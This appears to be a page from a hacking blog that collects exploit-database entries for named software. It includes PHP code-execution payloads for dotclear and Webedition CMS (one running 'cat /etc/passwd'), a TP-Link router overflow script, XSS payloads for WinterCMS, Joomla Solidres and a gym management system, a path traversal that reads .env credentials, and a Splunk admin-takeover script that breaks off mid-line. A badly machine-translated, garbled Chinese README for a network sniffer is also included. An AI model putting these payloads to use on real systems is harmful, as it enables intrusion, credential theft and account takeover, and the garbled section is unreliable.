Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863117722

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
Application: dotclear
Version: 2.25.3
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://dotclear.org/
Software Link: https://dotclear.org/download
Date of found: 08.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
While writing a blog post, we know that we can upload images. But php did not allow file upload. This time
<?php echo system("id"); ?>
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.
We were able to run the php code when we visited your page


poc request:


POST /dotclear/admin/post.php HTTP/1.1
Host: localhost
Content-Length: 566
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc
Connection: close

post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca4197736275ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password=



poc video : https://youtu.be/oIPyLqLJS70
            
# Exploit Title: TP-Link TL-WR940N V4 - Buffer OverFlow
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : hardware
# Dork : /userRpm/WanDynamicIpV6CfgRpm
# Tested on: Windows/Linux
# CVE : CVE-2023-36355

import requests

# Replace the IP address with the router's IP
router_ip = '192.168.0.1'

# Construct the URL with the vulnerable endpoint and parameter
url = f'http://{router_ip}/userRpm/WanDynamicIpV6CfgRpm?ipStart='

# Replace the payload with a crafted payload that triggers the buffer overflow
payload = 'A' * 5000  # Example payload, adjust the length as needed

# Send the GET request with the crafted payload
response = requests.get(url + payload)

# Check the response status code
if response.status_code == 200:
    print('Buffer overflow triggered successfully')
else:
    print('Buffer overflow not triggered')
            
# Exploit Title: WinterCMS < 1.2.3 - Persistent Cross-Site Scripting
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2023-07-10
# Vendor Homepage: https://wintercms.com/
# Software Link: https://github.com/wintercms/winter
# Version: 1.2.2
# Tested on: windows64bit / mozila firefox 
# CVE : CVE-2023-37269
# Report Link : https://github.com/wintercms/winter/security/advisories/GHSA-wjw2-4j7j-6gc3
# Video POC : https://youtu.be/Dqhq8rdrcqc

Title : Application is Vulnerable to Persistent Cross-Site Scripting via SVG File Upload in Custom Logo Upload Functionality

Description :
WinterCMS < 1.2.3 lacks restrictions on uploading SVG files as website logos, making it vulnerable to a Persistent cross-site scripting (XSS) attack. This vulnerability arises from the ability of an attacker to embed malicious JavaScript content within an SVG file, which remains visible to all users, including anonymous visitors. Consequently, any user interaction with the affected page can inadvertently trigger the execution of the malicious script

Payload:- 
// image.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.cookie);
   </script>
</svg>

//Post Request

POST /backend/system/settings/update/winter/backend/branding HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: fk93d30vmHCawwgMlTRy97vPOxaf4iPphtUwioc2
X-WINTER-REQUEST-HANDLER: formLogo::onUpload
Content-Type: multipart/form-data; boundary=---------------------------186411693022341939203410401206
Content-Length: 608
Origin: http://172.17.0.2
Connection: close
Cookie: admin_auth=eyJpdiI6IkV2dElCcWdsZStzWHc5cDVIcFZ1bnc9PSIsInZhbHVlIjoiVFkyV1k3UnBKUVNhSWF2NjVNclVCdXRwNklDQlFmenZXU2hUNi91T3c5aFRTTTR3VWQrVVJkZG5pcFZTTm1IMzFtZzkyWWpRV0FYRnJuZ1VoWXQ0Q2VUTGRScHhVcVRZdWtlSGYxa1kyZTh0RXVScFdySmF1VDZyZ1p0T1pYYWI5M1ZmVWtXUkhpeXg2U0l3NG9ZWHhnPT0iLCJtYWMiOiIyNzk0OTNlOWY2ODZhYjFhMGY0M2Y4Mzk0NjViY2FiOWQ0ZjNjMThlOTkxODZjYmFmNTZkZmY3MmZhMTM3YWJlIiwidGFnIjoiIn0%3D; BBLANG=en_US; winter_session=eyJpdiI6ImJFWHVEb0QrTmo5YjZYcml6Wm1jT3c9PSIsInZhbHVlIjoiQVdVZ3R4ajVUWUZXeS83dkhIQVFhVVYxOE1uajJQOVNzOUtwM1ZGcUFYOC9haHZFMlE2R0llNjZDWVR6eHZqbDZ5Z1J1akM5VkNaQUFZM1p5OGlZcjJFWTRaT21tRWdtcnJUUHJWRWg1QTZyRFhJbEdMc0h1SzZqaEphMFFSSDYiLCJtYWMiOiI0YzRkNWQwODVkMmI4ZmMxMTJlMGU5YjM2MWJkYjNiNjEwZmE2NTY4ZGQwYTdjNjAxMjRkMjRiN2M1NTBiOTNiIiwidGFnIjoiIn0%3D

-----------------------------186411693022341939203410401206
Content-Disposition: form-data; name="file_data"; filename="image.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

-----------------------------186411693022341939203410401206--



|-----------------------------------------EOF-----------------------------------------
            
# Exploit Title: Joomla Solidres 2.13.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: Solidres Team
# Vendor Homepage: http://solidres.com/
# Software Link: https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/
# Demo: http://demo.solidres.com/joomla
# Version: 2.13.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


GET parameter 'show' is vulnerable to XSS
GET parameter 'reviews' is vulnerable to XSS
GET parameter 'type_id' is vulnerable to XSS
GET parameter 'distance' is vulnerable to XSS
GET parameter 'facilities' is vulnerable to XSS
GET parameter 'categories' is vulnerable to XSS
GET parameter 'prices' is vulnerable to XSS
GET parameter 'location' is vulnerable to XSS
GET parameter 'Itemid' is vulnerable to XSS


https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=[XSS]

https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&reviews=[XSS]&facilities=18&

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=[XSS]&facilities=14

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-25&distance=0-25&categories=[XSS]

https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=d2tff&ordering=distance&direction=asc&prices=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=[XSS]&task=hub.search&ordering=score&direction=desc&type_id=11

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=[XSS]&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=14



[-] Done
            
# Exploit Title: GYM MS - GYM Management System - Cross Site Scripting (Stored)
# Date: 29/09/2023
# Vendor Homepage: https://phpgurukul.com/gym-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/projects/GYM-Management-System-using-PHP.zip
# Version: 1.0
# Last Update: 31 August 2022
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30

# 1: Create user, login and go to profile.php

# 2: Use payload x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22 in lname field.

# 3: When entering the profile.php page, document.cookie will be reflected every time.

# Author
This vulnerability was detected by Alperen Yozgat while testing with the Rapplex - Web Application Security Scanner.

# About Rapplex
Rapplex is a web applicaton security scanner that scans and reports vulnerabilities in websites.
Pentesters can use it as an automation tool for daily tasks but "Pentester Studio" will provide such a great addition as well in their manual assessments.
So, the software does not need separate development tools to discover different types of vulnerabilities or to develop existing engines. 
"Exploit" tools are available to take advantage of vulnerabilities such as SQL Injection, Code Injection, Fle Incluson.


# HTTP Request 

POST /gym/profile.php HTTP/1.1
Host: localhost
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=76e2048c174c1a5d46e203df87672c25 #CHANGE
Connection: close

fname=test&lname=x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22&email=john%40test.com&mobile=1425635241&state=Delhi&city=New+Delhi&address=ABC+Street+XYZ+Colony&submit=Update
            
Exploit Title: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Application: webedition Cms
Version: v2.9.8.8   
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.webedition.org/
Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps
1. Login account
2. Go to New -> Webedition page -> empty page
3. Select php
4. Set as "><?php echo system("cat /etc/passwd");?>  Description area

Poc request: 

POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1
Host: localhost
Content-Length: 1621
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300
Connection: close

we_transaction=4fd880c06df5a590754ce5b8738cd0dd&we_003be033b474a5c25132d388906fb4ae_Filename=poc&we_003be033b474a5c25132d388906fb4ae_Extension=.php&wetmp_we_003be033b474a5c25132d388906fb4ae_Extension=&we_003be033b474a5c25132d388906fb4ae_ParentPath=%2F&we_003be033b474a5c25132d388906fb4ae_ParentID=0&yuiAcContentTypeParentPath=&we_003be033b474a5c25132d388906fb4ae_DocType=&we_003be033b474a5c25132d388906fb4ae_TemplateName=%2F&we_003be033b474a5c25132d388906fb4ae_TemplateID=&yuiAcContentTypeTemplate=&we_003be033b474a5c25132d388906fb4ae_IsDynamic=0&we_003be033b474a5c25132d388906fb4ae_IsSearchable=0&we_003be033b474a5c25132d388906fb4ae_InGlossar=0&we_003be033b474a5c25132d388906fb4ae_txt%5BTitle%5D=asdf&we_003be033b474a5c25132d388906fb4ae_txt%5BDescription%5D=%22%3E%3C%3Fphp+echo+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E&we_003be033b474a5c25132d388906fb4ae_txt%5BKeywords%5D=asdf&fold%5B0%5D=0&fold_named%5BPropertyPage_3%5D=0&we_003be033b474a5c25132d388906fb4ae_Language=en_GB&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Bde_DE%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Bde_DE%5D=&yuiAcContentTypeLanguageDocdeDE=&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Ben_GB%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Ben_GB%5D=&yuiAcContentTypeLanguageDocenGB=&fold%5B1%5D=0&fold_named%5BPropertyPage_4%5D=0&we_003be033b474a5c25132d388906fb4ae_CopyID=0&fold%5B2%5D=0&fold_named%5BPropertyPage_6%5D=0&wetmp_003be033b474a5c25132d388906fb4ae_CreatorID=%2Fadmin&we_003be033b474a5c25132d388906fb4ae_CreatorID=1&we_003be033b474a5c25132d388906fb4ae_RestrictOwners=0&we_complete_request=1
            
# Exploit Title: Ethercreative Logs 3.0.3 - Path Traversal
# Date: 2022.01.26
# Exploit Author: Steffen Rogge, SC
# Vendor Homepage: https://github.com/ethercreative/logs
# Software Link: https://plugins.craftcms.com/logs
# Version: <=3.0.3
# Tested on: Linux
# CVE : CVE-2022-23409

product: Ethercreative Logs plugin for Craft CMS
fixed version: >=3.0.4
impact: Medium
found: 2021-07-06
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"A quick and dirty way to access your logs from inside the CP"
As found on the plugin store page: https://plugins.craftcms.com/logs
Active Installs 4,093 (as of 2021-07-07)
Business recommendation:
------------------------
The vendor provides a patched version v3.0.4 which should be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Authenticated Path Traversal (CVE-2022-23409)
The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside
the backend of the CMS. As the requested logfile is not properly validated, an attacker is
able to request arbitrary files from the underlying file system with the permissions of the
web service user.
Proof of concept:
-----------------
1) Authenticated Path Traversal (CVE-2022-23409)
As the plugin is installed as an administrator of the system and the function is only accessible
after being logged in as an admin, an attacker needs to be authenticated as an administrator in
the backend in order to extract the needed "{MD5}_identity" cookie for the crafted request.
The vulnerable endpoint is provided by the plugin under the following path:
https://vulnerablesite.com/index.php/admin/actions/logs/logs/stream
The vulnerable controller for that endpoint can be found here:
https://github.com/ethercreative/logs/blob/master/src/Controller.php
The function "actionStream()" provides an endpoint for the Craft CMS and does not validate input
values before file content is being read by the function "file_get_contents".
public function actionStream ()
{
$logsDir = \Craft::getAlias('@storage/logs');
$logFile = \Craft::$app->request->getParam('log');
$currentLog = \Craft::$app->request->get('log', $logFile);
$log = file_get_contents($logsDir . '/' . $currentLog);
exit($log);
}
A crafted GET parameter with the name "log" can be used to access files on the underlying filesystem
with rights as the user executing the web server. In most cases this will be the user "www-data".
In order to read the file ".env" or ".env.php" which contains the environment configuration and as
such also the database credentials, the following request can be used:
GET /admin/actions/logs/logs/stream?log=../../.env HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Cookie: 1031b8c41dfff97a311a7ac99863bdc5_identity=<identity_cookie>;
The response then discloses the file content of the file ".env":
HTTP/1.1 200 OK
Date: Thu, 07 Jul 2021 10:08:52 GMT
Server: nginx
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: CraftSessionId=2uisculfj8t9q1tnbiukl6ogjf; path=/; secure; HttpOnly
Content-Length: 1600
Connection: close
[...]
$craftEnvVars = [
'DB_DRIVER' => 'mysql',
'DB_SERVER' => '********',
'DB_USER' => '********',
'DB_PASSWORD' => '********',
'DB_DATABASE' => '********',
'DB_SCHEMA' => 'public',
'DB_TABLE_PREFIX' => '',
'DB_PORT' => '********',
'SECURITY_KEY' => '********',
[...]
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available at the time
of the test:
* Version 3.0.3 released on November 25, 2019
Distributed through the Craft Plugin Store https://plugins.craftcms.com/logs
Vendor contact timeline:
------------------------
2021-07-07: Contacting vendor through dev@ethercreative.co.uk
2021-07-08: Response from vendor, no encryption available but vendor accepted to be responsible
for any risks involved with plaintext communication
2021-07-08: Advisory was sent to vendor unencrypted
2021-07-09: Vendor released a patch for this vulnerability with version 3.0.4
(https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4)
2021-07-12: Updated Plugin has been tested on an up-to-date CraftCMS installation
(CraftCMS 3.7.0, PHP 8, MySQL 8, Logs Plugin 3.0.4)
2022-01-24: Release of security advisory
Solution:
---------
The vendor released a patched version 3.0.4 or higher which can be retrieved from their
website/github:
https://plugins.craftcms.com/logs
https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4
Workaround:
-----------
Uninstall/Disable the plugin and access the Craft CMS logs via SSH or other services.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Steffen Rogge / @2022
            

无形协议嗅探器,用于在网络中查找漏洞。专为penters和安全工程师而设计。

以上:隐形网络协议sniffer

专为五旬节和安全工程师设计

作者: Magama Bazarov,[电子邮件保护]

假名:施法者

版本: 2.6

CodEname:内向

免责声明

此存储库中包含的所有信息仅用于教育和研究目的。作者对此工具的任何非法使用概不负责。

这是一种专门的网络安全工具,可帮助申请人和安全专业人员。

上面的

力学

是一个无形的网络嗅探器,用于在网络设备中找到漏洞。它完全基于网络流量分析,因此不会在空中发出任何噪音。他是看不见的。完全基于Scapy库。

上面允许penters自动化在网络硬件中查找漏洞的过程。发现协议,动态路由,802.1q,ICS协议,FHRP,STP,LLMNR/NBT-NS等

支持的协议

最多检测27个协议:

MacSec(802.1x AE)

EAPOL(检查802.1x版本)

ARP(被动ARP,主机发现)

CDP(思科发现协议)

DTP(动态中继协议)

LLDP(链接层发现协议)

802.1q标签(VLAN)

S7COMM(西门子)

奥隆

TACACS+(终端访问控制器访问控制系统加上)

modbustcp

STP(跨越树协议)

OSPF(首先开放最短路径)

EIGRP(增强的内部网关路由协议)

BGP(边界网关协议)

VRRP(虚拟路由器冗余协议)

HSRP(主机待机冗余协议)

GLBP(网关负载平衡协议)

IGMP(互联网组管理协议)

llmnr(链接本地多播名称分辨率)

NBT-NS(NetBios名称服务)

MDN(多播DNS)

DHCP(动态主机配置协议)

DHCPV6(动态主机配置协议V6)

ICMPV6(Internet控制消息协议V6)

SSDP(简单服务发现协议)

MNDP(Mikrotik邻居发现协议)

操作机构

在两种模式:中工作

热模式:在界面上嗅探指定计时器冷模式:分析流量转储该工具的操作非常简单,并且由参数驱动:

Interface: Specifying the network interface on which sniffing will be performed Timer: Time during which traffic analysis will be performed Input: The tool takes an already prepared .pcap as input and looks for protocols in it Output: Above will record the listened traffic to .pcap file, its name you specify yourself Passive ARP: Detecting hosts in a segment using Passive ARP usage:上面.py [-h] [ - 接口接口] [ - timer Timer] [ - 输出输出] [ - 输入输入] [ - passive-arp]

Options:

-h, - 赫尔普显示此帮助消息和退出

- 接口接口

流量聆听的接口

- 以几秒钟的时间计时器时间以捕获数据包,如果不设置捕获,则无限期运行

- 输出输出文件名,记录流量的位置

- 输入输入文件名称流量转储的名称

-Passive-Arp被动ARP(主机发现)

有关协议的信息

所获得的信息不仅对五个五个人都有用,而且对安全工程师,他还会知道他需要注意的是什么。

上面检测协议时,它会输出必要的信息以指示攻击向量或安全性问题:

Impact:对该协议可以进行哪种攻击;

工具:可以使用哪种工具来启动攻击;

技术信息:所需的五个五旬节,发件人MAC/IP地址,FHRP组ID,OSPF/EIGRP域等的信息

缓解:解决安全问题的建议

源/目标地址:用于协议,以上显示有关源和目标MAC地址和IP地址的信息

安装

Linux

您可以直接从Kali Linux存储库中安装

caster@kali:〜 $ sudo apt更新sudo apt安装上方或.

caster@kali:〜 $ sudo apt-get install python3-scapy python3-colorama python3-stetuptools

Caster@kali:〜 $ git克隆https://github.com/casterbyte/above

Caster@kali:〜 $ cd上方/

caster@kali:〜/上方$ sudo python3 setup.py安装

macOS:

#安装python3首先

酿造安装python3

#然后安装所需的依赖项

sudo pip3安装scapy colorama setuptools

#克隆仓库

git克隆https://github.com/casterbyte/above

CD上方/

sudo python3设置。py安装不要忘记在MacOS上停用防火墙!

设置网络防火墙

如何使用

热模式

需要嗅探根访问

以上可以在有或没有timer:的情况下运行

caster@kali:〜 $ sudo上方- 接口eth0 -timer 120停止流量嗅探,按CTRL +寻

警告!上面的设计并非用于使用隧道界面(L3),因为将过滤器用于L2协议。隧道L3接口上的工具可能无法正常工作。

示例:

Caster@kali:〜 $ sudo上方- 接口eth0 -timer 120

-----------------------------------------------------------------------------------------------------------------------------------------------------------

[+]开始嗅.

[*]检测到协议后- 将显示有关其的所有必要信息

-----------------------------------------------------------------------------

[+]检测到的SSDP数据包

[*]攻击影响: UPNP设备开发的潜力

[*]工具: Evil-SSDP

[*] SSDP源IP: 192.168.0.251

[*] SSDP源MAC: 02:10:DE3:6064:F233:34

[*]缓解措施:确保在所有设备上禁用UPNP,除非绝对必要,请监视UPNP流量

-----------------------------------------------------------------------------

[+]检测到的MDNS包

[*]攻击影响: MDNS欺骗,凭证拦截

[*]工具:响应者

[*] MDNS欺骗专门针对Windows机器的作品

[*]您无法从Apple设备获得NetNTLMV2-SSP

[*] MDNS发言人IP: FE80:3360183F3:301C3:27BD3:543

[*] MDNS演讲者MAC: 02:10:DE333333333333:F233:34

[*]缓解:过滤MDNS流量。小心MDN过滤

--------------------------------------------------------------------------------如果您需要记录流量,请使用- 输出参数

caster@kali:〜 $ sudo上方- 接口eth0 -timer 120-上方。

冷模式

如果您已经有一些记录的流量,则可以使用- 输入参数来寻找潜在的安全问题

caster@kali:〜 $上方- 输入ospf-md5.cap emamexemend:

Caster@kali:〜 $ sudo上方- 输入OSPF-MD5.CAP

[+]分析PCAP文件.

-----------------------------------------------------------------------------

[+]检测到的OSPF数据包

[+]攻击影响:子网发现,黑洞,邪恶的双胞胎

[*]工具: Loki,Scapy,frofrouting

[*] OSPF区域ID: 0.0.0.0

[*] OSPF邻居IP: 10.0.0.1

[*] OSPF邻居MAC: 00:0C:29333333333:4C3:54

[!] authentication: MD5

[*] Bruteforce: Ettercap的工具,开膛手约翰

[*] OSPF密钥ID: 1

[*]缓解:启用被动界面,使用身份验证

-----------------------------------------------------------------------------

[+]检测到的OSPF数据包

[+]攻击影响:子网发现,黑洞,邪恶的双胞胎

[*]工具: Loki,Scapy,frofrouting

[*] OSPF区域ID: 0.0.0.0

[*] OSPF邻居IP: 192.168.0.2

[*] OSPF邻居MAC: 00:0C:2933333333333333333333333:FB

[!] authentication: MD5

[*] Bruteforce: Ettercap的工具,开膛手约翰

[*] OSPF密钥ID: 1

[*]缓解:启用被动界面,使用身份验证

被动arp

该工具可以通过在被动模式下处理ARP帧在空中检测主机

caster@kali:〜 $ sudo上方- 接口eth0 -passive-arp -timer 10

[+]使用被动ARP的主机发现

-----------------------------------------------------------------------------

[+]检测到的ARP回复

[*] ARP回复IP: 192.168.1.88

[*] MAC地址: 00:00:0C33:073:AC:C8

-----------------------------------------------------------------------------

[+]检测到的ARP回复

[*] ARP回复IP: 192.168.1.40

[*] MAC地址: 00:0C3:293:C5333333333333:81

---------------------------------------------------------------------------------------------------------------------------------------------------------------------》(

utro

)我写了此工具,因为Koan Sound的曲目“来自上方的视图(Remix)”。当我从事这个嗅探器时,这首歌对我来说是一切。

#!/usr/bin/env python3
#
# Exploit Title: Splunk 9.0.5 - admin account take over
# Author: [Redway Security](https://twitter.com/redwaysec))
# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)

#CVE: CVE-2023-32707

# Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
#
# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
#
import argparse
import requests
import random
import string
import base64
# ignore warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Splunk Authentication')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user')
parser.add_argument('--force-exploit', action='store_true',
help='Force exploit')

args = parser.parse_args()

# Splunk server settings
splunk_host = args.host.split(':')[0]
splunk_username = args.username
splunk_password = args.password
target_user = args.target_user
force_exploit = args.force_exploit

splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"

credentials = f"{splunk_username}:{splunk_password}"
base64_credentials = base64.b64encode(credentials.encode()).decode()
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Authorization': f'Basic {base64_credentials}'

}
proxies = {
# 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
}

response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",
headers=headers, proxies=proxies, verify=False)

if response.status_code == 200:
affected_versions = ['9.0.4', '8.2.10', '8.1.13']
user = response.json()
splunk_version = user['generator']['version']
# This is not a good way to compare versions.
# There is a range of versions that are affected by this CVE, but this is just a PoC
# 8.1.0 to 8.1.13
# 8.2.0 to 8.2.10
# 9.0.0 to 9.0.4
print(f"Detected Splunk version '{splunk_version}'")
if any(splunk_version <= value for value in affected_versions) or force_exploit:
user_capabilities = user['entry'][0]['content']['capabilities']
if 'edit_user' in user_capabilities:
print(
f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
new_password = ''.join(random.choice(
